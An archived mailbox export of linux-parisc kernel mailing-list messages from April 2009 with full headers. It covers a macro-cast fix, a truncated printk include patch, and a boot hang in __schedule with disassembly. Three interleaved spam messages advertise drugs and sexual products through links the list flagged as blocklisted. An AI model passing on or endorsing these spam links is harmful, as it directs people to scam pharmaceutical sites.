X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1491>

On Sat, 2009-04-04 at 22:54 +0200, Bastian Blank wrote:
> The atomic operations on parisc are defined as macros. The macros
> includes casts which disallows the use of some syntax elements and
> produces error like this:
> 
> net/phonet/pep.c: In function 'pipe_rcv_status':
> net/phonet/pep.c:262: error: lvalue required as left operand of assignment
> 
> The patch removes this superfluous casts.

Actually, it's not the casts that are the problem, it's the fact that
they apply to an unbacketed macro argument.  The actual fix is here:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=47e669ce10901dc92960096653d6b22990b5188f

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: decode_exc.c should include kernel.h
Date: Mon, 6 Apr 2009 13:29:58 +0400
Lines: 18
Approved: news@gmane.org
Message-ID: <a4423d670904060229l650519e8we17578f4b439a1cb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239010215 7677 80.91.229.12 (6 Apr 2009 09:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Apr 2009 09:30:15 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 06 11:31:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqlAw-00028Z-Dk
	for glpp-linux-parisc@gmane.org; Mon, 06 Apr 2009 11:31:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754733AbZDFJaE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Apr 2009 05:30:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754735AbZDFJaE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Apr 2009 05:30:04 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:60388 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754733AbZDFJaB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Apr 2009 05:30:01 -0400
Original-Received: by ewy9 with SMTP id 9so1811996ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 06 Apr 2009 02:29:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=w+BUmmelkGCjjVGInYPl7r3jrieeH7Xv1DJY8oHDuJc=;
        b=YKQSS5KGpMNyRBNQ9RT141rmKqB2e4eqLSnLC7if6rdNXWxkpA9VAv9gIs1OO06f6g
         iOmty9hEHJO1eT6Aa42fLPgtEJDhT9UfeX2/rmYd/n8eafG9xsGOC5xXYUs7jp2OI3R+
         a5T+FMXjz6Jb4DO2+B/h66Yency8y0h3dbEgQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=u64NAoLjIas2eXhMZH4boFIXDHNRMjTj9W86OAiRLYs0LeVoDo0mE0Nw1nBhw8znLu
         ON2JypNp7wBCo+enmVVso+cqPhoba62go+AMLj34WIVWMGChr7jvWEnpAmeQCdIqslYE
         viY6LKjTRrW4RztVnzKDSiT1U18Kns6xeZM2w=
Original-Received: by 10.210.142.10 with SMTP id p10mr2755941ebd.85.1239010198454; Mon, 
	06 Apr 2009 02:29:58 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1492>

Fix this build error:
arch/parisc/math-emu/decode_exc.c:351: undefined reference to `printk'

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 arch/parisc/math-emu/decode_exc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/math-emu/decode_exc.c
b/arch/parisc/math-emu/decode_exc.c
index 66c8a9f..3ca1c61 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -40,7 +40,7 @@
  * END_DESC
 */


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Amy England" <lehman84@centresolutions.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Now you can get it up before anyone does!
Date: Mon, 6 Apr 2009 18:15:30 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20090406181530.5090701@centresolutions.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239059186 12257 80.91.229.12 (6 Apr 2009 23:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Apr 2009 23:06:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 07 01:07:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lqxun-0007XY-9q
	for glpp-linux-parisc@gmane.org; Tue, 07 Apr 2009 01:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751889AbZDFXGP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Apr 2009 19:06:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753690AbZDFXGP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Apr 2009 19:06:15 -0400
Original-Received: from h240.10.31.71.dynamic.ip.windstream.net ([71.31.10.240]:60993
	"HELO h240.10.31.71.dynamic.ip.windstream.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751889AbZDFXGP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Apr 2009 19:06:15 -0400
Original-Received: from vadgbn ([72.75.119.38]) by h240.10.31.71.dynamic.ip.windstream.net with Microsoft SMTPSVC(6.0.3790.211); Mon, 6 Apr 2009 18:15:30 -0500
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.1 points;
 *  0.5 FROM_ENDS_IN_NUMS From: ends in numbers
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: gooddrugsite.at]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: gooddrugsite.at]
Xref: news.gmane.org gmane.linux.ports.parisc:1493 gmane.spam.detected:4361129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1493>

Barak and McCane killed http://sxl.gooddrugsite.at/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Solomon Vickers" <clouserm@ontelecoms.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Unbridled pleasure of pounding deeper
Date: Tue, 7 Apr 2009 21:07:13 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20090407210713.8090706@ontelecoms.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239131709 27274 80.91.229.12 (7 Apr 2009 19:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Apr 2009 19:15:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 07 21:16:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LrGmS-0000N5-7L
	for glpp-linux-parisc@gmane.org; Tue, 07 Apr 2009 21:16:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751067AbZDGTOy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Apr 2009 15:14:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751964AbZDGTOy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Apr 2009 15:14:54 -0400
Original-Received: from bxn122.internetdsl.tpnet.pl ([83.18.247.122]:1754 "HELO
	bxn122.internetdsl.tpnet.pl" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1751545AbZDGTOx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Apr 2009 15:14:53 -0400
Original-Received: from erz ([223.203.239.86]) by bxn122.internetdsl.tpnet.pl with Microsoft SMTPSVC(6.0.3790.211); Tue, 7 Apr 2009 21:07:13 +0100
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 12.9 points;
 *  1.4 RCVD_ILLEGAL_IP Received: contains illegal IP address
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?83.18.247.122>]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: cykduhdao.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: cykduhdao.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1494 gmane.spam.detected:4361477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1494>

Low prices-more bargains http://cii.cykduhdao.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Lake" <gerard@westsussex.gov.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Woman love large sizes
Date: Wed, 8 Apr 2009 09:57:19 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20090408095719.7010105@westsussex.gov.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239176866 11572 80.91.229.12 (8 Apr 2009 07:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Apr 2009 07:47:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 08 09:49:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LrSWt-0000ol-UR
	for glpp-linux-parisc@gmane.org; Wed, 08 Apr 2009 09:49:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751817AbZDHHrh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Apr 2009 03:47:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752177AbZDHHrh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 8 Apr 2009 03:47:37 -0400
Original-Received: from [91.195.96.60] ([91.195.96.60]:4162 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1751817AbZDHHrg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Apr 2009 03:47:36 -0400
Original-Received: (qmail 16965 invoked from network); Wed, 8 Apr 2009 09:57:19 +0200
Original-Received: from unknown (HELO rus) (236.193.180.240)
	by wergvan with SMTP; Wed, 8 Apr 2009 09:57:19 +0200
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.9 points;
 *  1.4 RCVD_ILLEGAL_IP Received: contains illegal IP address
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: gooddrugworld.at]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: gooddrugworld.at]
Xref: news.gmane.org gmane.linux.ports.parisc:1495 gmane.spam.detected:4361668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1495>

Experience a failure night bu night? Do not desperate, we can help you. 
http://megjw.gooddrugworld.at/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.kernel-testers,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Wed, 8 Apr 2009 17:03:04 +0400
Lines: 73
Approved: news@gmane.org
Message-ID: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239195902 8703 80.91.229.12 (8 Apr 2009 13:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Apr 2009 13:05:02 +0000 (UTC)
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, LKML <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Apr 08 15:06:22 2009
Return-path: <kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LrXSN-00027z-I7
	for glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 08 Apr 2009 15:04:44 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1765216AbZDHNDN (ORCPT <rfc822;glkk-kernel-testers@m.gmane.org>);
	Wed, 8 Apr 2009 09:03:13 -0400
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S932373AbZDHNDL
	(ORCPT <rfc822;kernel-testers-outgoing>);
	Wed, 8 Apr 2009 09:03:11 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:48144 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932326AbZDHNDI (ORCPT
	<rfc822;kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 8 Apr 2009 09:03:08 -0400
Original-Received: by ewy9 with SMTP id 9so126011ewy.37
        for <multiple recipients>; Wed, 08 Apr 2009 06:03:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=iboT0kT0zHsu8UJfIMVSBS1ArI+0xveVuutGa/Zwy2U=;
        b=OL5zoqVAzvLTOILvwlCVM4sloWVY6vDsaIMIgNFMN+WYLVXGp8HX9A0APSOJfJkQpP
         Q4813iyuftARbEBh0Yth0G5KKjfwC/GAOVSBVGCk4MV12VT5jbkuovh7xTHTYBk53YmD
         6t0hTehF80IOG/eEMm7Kjc5U0xpEvjwwfl7Zw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=ROAYqM20JdMfbkXkTYMcDMJXFVq2PPg6OgP68KK2c48mMg5uXcwTrDDgD6ajvce2CP
         EHlBjwapRElqeMbdJaK1Ti/6R3bN5uZSk0zL18PNAakdmq+zQMJTfyc83wme3UQYF2bH
         Y3+zOF2M2ZuUpMxTmHFJjUD0uyPNAeiMWkPXo=
Original-Received: by 10.210.35.17 with SMTP id i17mr1151995ebi.28.1239195784201; Wed, 
	08 Apr 2009 06:03:04 -0700 (PDT)
Original-Sender: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <kernel-testers.vger.kernel.org>
X-Mailing-List: kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.kernel-testers:4249 gmane.linux.ports.parisc:1496 gmane.linux.kernel:819584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1496>

Hi

Machine is HP j6000.
CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz

gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)


Machine hangs before starting rc scripts, but SysRq and C-A-Del work.

All tasks are at __schedule+0x268/0x7bc:


__schedule is at 0x278 in sched.o
plus 268 it is 0x4e0

     454:       2b 60 00 00     addil L%0,dp,r1
                        454: R_PARISC_DPREL21L  rt_sched_class
     458:       34 24 00 00     ldo 0(r1),r4
                        458: R_PARISC_DPREL14R  rt_sched_class
     45c:       48 96 00 28     ldw 14(r4),r22
     460:       08 05 02 5a     copy r5,r26
     464:       e6 c0 20 00     be,l 0(sr4,r22),sr0,r31
     468:       08 1f 02 42     copy r31,rp
     46c:       cb 3c 3f d7     movb,=,n ret0,r25,45c <__schedule+0x1e4>
     470:       0c 80 10 84     ldw 0(r4),r4
     474:       80 d9 28 da     cmpb,=,n r25,r6,8e8 <__schedule+0x670>
     478:       68 b9 08 08     stw r25,404(r5)
     47c:       48 bc 00 70     ldw 38(r5),ret0
     480:       48 bd 00 78     ldw 3c(r5),ret1
     484:       b7 bd 00 02     addi 1,ret1,ret1
     488:       08 1c 07 1c     add,c ret0,r0,ret0
     48c:       68 bc 00 70     stw ret0,38(r5)
     490:       68 bd 00 78     stw ret1,3c(r5)
     494:       0d a0 10 93     ldw 0(r13),r19
     498:       36 73 00 02     ldo 1(r19),r19
     49c:       0d b3 12 80     stw r19,0(r13)
     4a0:       4b 34 01 b0     ldw d8(r25),r20
     4a4:       86 80 22 c8     cmpib,= 0,r20,610 <__schedule+0x398>
     4a8:       48 d5 01 b8     ldw dc(r6),r21
     4ac:       82 95 20 3a     cmpb,=,n r21,r20,4d0 <__schedule+0x258>
     4b0:       4a 9c 00 48     ldw 24(r20),ret0
     4b4:       22 60 0e 01     ldil L%-10000000,r19
     4b8:       0a 7c 0a 3c     add,l ret0,r19,ret0
     4bc:       03 3c 18 40     mtctl ret0,tr1
     4c0:       4a 93 02 d0     ldw 168(r20),r19
     4c4:       00 13 d8 20     mtsp r19,sr3
     4c8:       d6 73 08 21     depw,z r19,30,31,r19
     4cc:       01 13 18 40     mtctl r19,pidr1
     4d0:       48 dc 01 b0     ldw d8(r6),ret0
     4d4:       87 80 22 52     cmpib,=,n 0,ret0,604 <__schedule+0x38c>
     4d8:       e8 00 a0 00     b,l 4e0 <__schedule+0x268>,rp
                        4d8: R_PARISC_PCREL22F  _switch_to
     4dc:       08 06 02 5a     copy r6,r26
     4e0:       08 11 02 44     copy r17,r4
     4e4:       03 c0 08 b3     mfctl tr6,r19
     4e8:       4a 74 00 20     ldw 10(r19),r20
     4ec:       08 1c 02 59     copy ret0,r25
     4f0:       0e 54 20 9a     ldw,s r20(r18),r26
     4f4:       e8 00 a0 00     b,l 4fc <__schedule+0x284>,rp
                        4f4: R_PARISC_PCREL22F  finish_task_switch
     4f8:       0b 44 0a 3a     add,l r4,r26,r26
     4fc:       03 c0 08 bc     mfctl tr6,ret0
     500:       4b 8a 00 20     ldw 10(ret0),r10
     504:       0e 4a 20 93     ldw,s r10(r18),r19
     508:       0a 64 0a 25     add,l r4,r19,r5
     50c:       03 c0 08 bc     mfctl tr6,ret0
     510:       0f 80 10 93     ldw 0(ret0),r19
     514:       4a 74 00 28     ldw 14(r19),r20
     518:       8e 80 60 20     cmpib,> 0,r20,530 <__schedule+0x2b8>
     51c:       48 62 3f d9     ldw -14(r3),rp
     520:       e8 00 a0 00     b,l 528 <__schedule+0x2b0>,rp
                        520: R_PARISC_PCREL22F  __reacquire_kernel_lock

From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Newsgroups: gmane.linux.kernel.kernel-testers,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Wed, 8 Apr 2009 18:09:21 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090408220921.GF7372@bombadil.infradead.org>
References: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239228573 28538 80.91.229.12 (8 Apr 2009 22:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Apr 2009 22:09:33 +0000 (UTC)
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, LKML <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Alexander Beregalov <a.beregalov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Apr 09 00:10:51 2009
Return-path: <kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lrfys-00054d-Qy
	for glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 09 Apr 2009 00:10:51 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752554AbZDHWJX (ORCPT <rfc822;glkk-kernel-testers@m.gmane.org>);
	Wed, 8 Apr 2009 18:09:23 -0400
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1751974AbZDHWJX
	(ORCPT <rfc822;kernel-testers-outgoing>);
	Wed, 8 Apr 2009 18:09:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50518 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751883AbZDHWJW (ORCPT
	<rfc822;kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 8 Apr 2009 18:09:22 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LrfxR-0001r5-Dg; Wed, 08 Apr 2009 22:09:21 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904080603w50face2fl87cd16bd7967cb5d-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <kernel-testers.vger.kernel.org>
X-Mailing-List: kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.kernel-testers:4257 gmane.linux.ports.parisc:1497 gmane.linux.kernel:819903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1497>

On Wed, Apr 08, 2009 at 05:03:04PM +0400, Alexander Beregalov wrote:
> Hi
> 
> Machine is HP j6000.
> CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
> 
> gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)
> 
> 
> Machine hangs before starting rc scripts, but SysRq and C-A-Del work.
> 
> All tasks are at __schedule+0x268/0x7bc:
> 

.config?

From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.kernel-testers
Subject: Re: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Thu, 9 Apr 2009 12:46:15 +0400
Lines: 544
Approved: news@gmane.org
Message-ID: <a4423d670904090146w2937bf15le2afb5dfad718f0e@mail.gmail.com>
References: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com>
	 <20090408220921.GF7372@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0015174bde46f6eaf404671b47e4
X-Trace: ger.gmane.org 1239266796 15731 80.91.229.12 (9 Apr 2009 08:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Apr 2009 08:46:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 09 10:47:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LrpvL-0002wk-5X
	for glpp-linux-parisc@gmane.org; Thu, 09 Apr 2009 10:47:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754932AbZDIIqY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Apr 2009 04:46:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758545AbZDIIqX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 9 Apr 2009 04:46:23 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:42526 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754932AbZDIIqT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Apr 2009 04:46:19 -0400
Original-Received: by ewy9 with SMTP id 9so554917ewy.37
        for <multiple recipients>; Thu, 09 Apr 2009 01:46:16 -0700 (PDT)
